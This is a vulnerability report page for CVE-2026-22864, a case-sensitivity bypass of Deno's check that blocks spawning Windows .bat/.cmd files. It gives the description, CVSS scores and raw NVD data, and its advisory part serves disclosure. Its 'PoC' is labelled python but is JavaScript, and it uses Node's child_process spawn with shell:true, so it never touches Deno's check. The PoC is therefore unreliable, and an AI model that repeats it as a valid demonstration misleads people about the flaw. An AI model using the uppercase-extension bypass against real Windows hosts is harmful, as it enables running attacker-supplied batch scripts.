Security Vulnerability Report
中文
CVE-2026-22864 CVSS 8.1 HIGH

CVE-2026-22864

Published: 2026-01-15 23:15:52
Last Modified: 2026-01-21 14:32:40

Description

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Before 2.5.6, a prior patch aimed to block spawning Windows batch/shell files by returning an error when a spawned path’s extension matched .bat or .cmd. That check performs a case-sensitive comparison against lowercase literals and therefore can be bypassed when the extension uses alternate casing (for example .BAT, .Bat, etc.). This vulnerability is fixed in 2.5.6.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:* - VULNERABLE
Deno < 2.5.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22864 PoC - Bypass Deno .bat/.cmd extension check using case variation // This PoC demonstrates how Deno's spawn security check can be bypassed // by using uppercase/mixed-case extensions (.BAT, .CMD) instead of lowercase // Vulnerable code pattern (Deno < 2.5.6) // The original check performs case-sensitive comparison: // if (ext === '.bat' || ext === '.cmd') { throw error; } // This check can be bypassed with: // - .BAT instead of .bat // - .Bat, .bAt, etc. // - .CMD instead of .cmd // - .Cmd, .cMD, etc. // Example vulnerable usage: const { spawn } = require('child_process'); // Attacker-controlled input can use uppercase extensions const maliciousExtension = '.BAT'; // Bypasses the check const maliciousPath = `malicious_script${maliciousExtension}`; // This spawn call would execute the batch file // even though the original check was intended to prevent it const child = spawn(maliciousPath, { shell: true }); // In Deno context (vulnerable): // Deno.spawn() with path containing .BAT extension bypasses security check // Fixed in Deno 2.5.6 with case-insensitive comparison

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22864", "sourceIdentifier": "[email protected]", "published": "2026-01-15T23:15:51.937", "lastModified": "2026-01-21T14:32:39.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deno is a JavaScript, TypeScript, and WebAssembly runtime. Before 2.5.6, a prior patch aimed to block spawning Windows batch/shell files by returning an error when a spawned path’s extension matched .bat or .cmd. That check performs a case-sensitive comparison against lowercase literals and therefore can be bypassed when the extension uses alternate casing (for example .BAT, .Bat, etc.). This vulnerability is fixed in 2.5.6."}, {"lang": "es", "value": "Deno es un entorno de ejecución de JavaScript, TypeScript y WebAssembly. Antes de 2.5.6, un parche anterior tenía como objetivo bloquear la ejecución de archivos batch/shell de Windows devolviendo un error cuando la extensión de una ruta ejecutada coincidía con .bat o .cmd. Esa verificación realiza una comparación que distingue entre mayúsculas y minúsculas contra literales en minúsculas y por lo tanto puede ser eludida cuando la extensión utiliza un uso de mayúsculas y minúsculas alternativo (por ejemplo, .BAT, .Bat, etc.). Esta vulnerabilidad está corregida en 2.5.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.6", "matchCriteriaId": "D302E8AF-7ACC-4470-B0AB-B865727AE026"}]}]}], "references": [{"url": "https://github.com/denoland/deno/releases/tag/v2.5.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/denoland/deno/security/advisories/GHSA-m3c4-prhw-mrx6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}